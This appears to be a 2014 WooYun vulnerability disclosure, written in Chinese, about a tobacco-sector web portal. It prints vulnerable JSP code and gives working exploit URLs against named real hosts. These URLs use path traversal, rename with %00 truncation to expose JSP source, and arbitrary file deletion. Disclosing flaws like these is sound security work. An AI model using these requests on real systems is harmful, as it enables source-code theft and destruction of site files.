当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088367

漏洞标题:某烟草系统任意文件操作可以shell

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-12-24 17:01

修复时间:2015-03-24 17:02

公开时间:2015-03-24 17:02

漏洞类型:任意文件遍历/下载

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-29: 厂商已经确认,细节仅向厂商公开
2015-01-01: 细节向第三方安全合作伙伴开放
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-24: 细节向公众公开

简要描述:

某烟草行业通用系统存在任意文件操作漏洞

详细说明:

1. 任意文件读取
目录遍历:http://ccd.jxfda.gov.cn/ycportal/jsp/explorer/annex_file.jsp?url=/
可通过url参数来获得整个网站的目录

QQ20141223-1@2x.png


多处文件重命名,举一例子,jsp/explorer/renamedo.jsp

<%@ page import="java.io.File"%>
<%@ page import="com.yc.ycportal.BaseConfig"%>
<%
String url = request.getParameter("pp"); //目录名
String tt=request.getParameter("tt"); //文件名
String osstr =(String)BaseConfig.getValue("platform");
String dirname ="";
if("windows".equals(osstr))
dirname=request.getRealPath("/")+url+"\\"+tt;
else
dirname=request.getRealPath("/")+url+"/"+tt;
int j = tt.indexOf(".");
String str=tt.substring(j,tt.length()); //%00截断
File f1 = new File(dirname);
String renameStr=request.getParameter("rename"); //修改后的文件名
String dirname2="";
if("windows".equals(osstr))
dirname2=request.getRealPath("/")+url+"\\"+renameStr+str; //拼接
else
dirname2=request.getRealPath("/")+url+"/"+renameStr+str;
File refile = new File(dirname2);
f1.renameTo(refile);


此漏洞可以完美解决那种翻到了shell却不知道密码的情况。
1. 利用方法:
http://www.dtycgs.cn/ycportal/jsp/explorer/renamedo.jsp?pp=/jsp/bbsupload/&tt=upload_img.jsp&rename=upload_img.txt%00
再访问:http://www.dtycgs.cn/ycportal/jsp/bbsupload/upload_img.txt即可查看原upload_img.jsp的源码内容

QQ20141223-2@2x.png


漏洞证明:

2. 多处任意文件删除,随便举例:delfile.jsp

/ycportal/jsp/explorer/delfile.jsp
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ page import="java.io.File"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>delfile</title>
</head>
<body>
<%
String dirname=request.getRealPath("skin/manageimage");//传参数
String fileName = request.getParameter("fileName");
out.println(fileName);
out.println("真实路径为:" + dirname);
File f = new File(dirname,fileName);
if(f.delete())
{
response.sendRedirect("test.jsp");
}
else ...


2. 利用方法(删除1中重命名的文件名来示例)
http://www.dtycgs.cn/ycportal/jsp/explorer/delfile.jsp?fileName=/../../jsp/bbsupload/upload_img.txt
此处后缀没有限制,也可以删除任意jsp后缀的文件。
1. 利用方法:
http://www.dtycgs.cn/ycportal/jsp/explorer/renamedo.jsp?pp=/jsp/bbsupload/&tt=upload_img.jsp&rename=upload_img.txt%00
再访问:http://www.dtycgs.cn/ycportal/jsp/bbsupload/upload_img.txt即可查看原upload_img.jsp的源码内容

QQ20141223-2@2x.png


2. 利用方法(删除1中重命名的文件名来示例)
http://www.dtycgs.cn/ycportal/jsp/explorer/delfile.jsp?fileName=/../../jsp/bbsupload/upload_img.txt
此处后缀没有限制,也可以删除任意jsp后缀的文件。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-29 14:39

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给江西分中心,由江西分中心后续协调网站管理单位处置。

最新状态:

暂无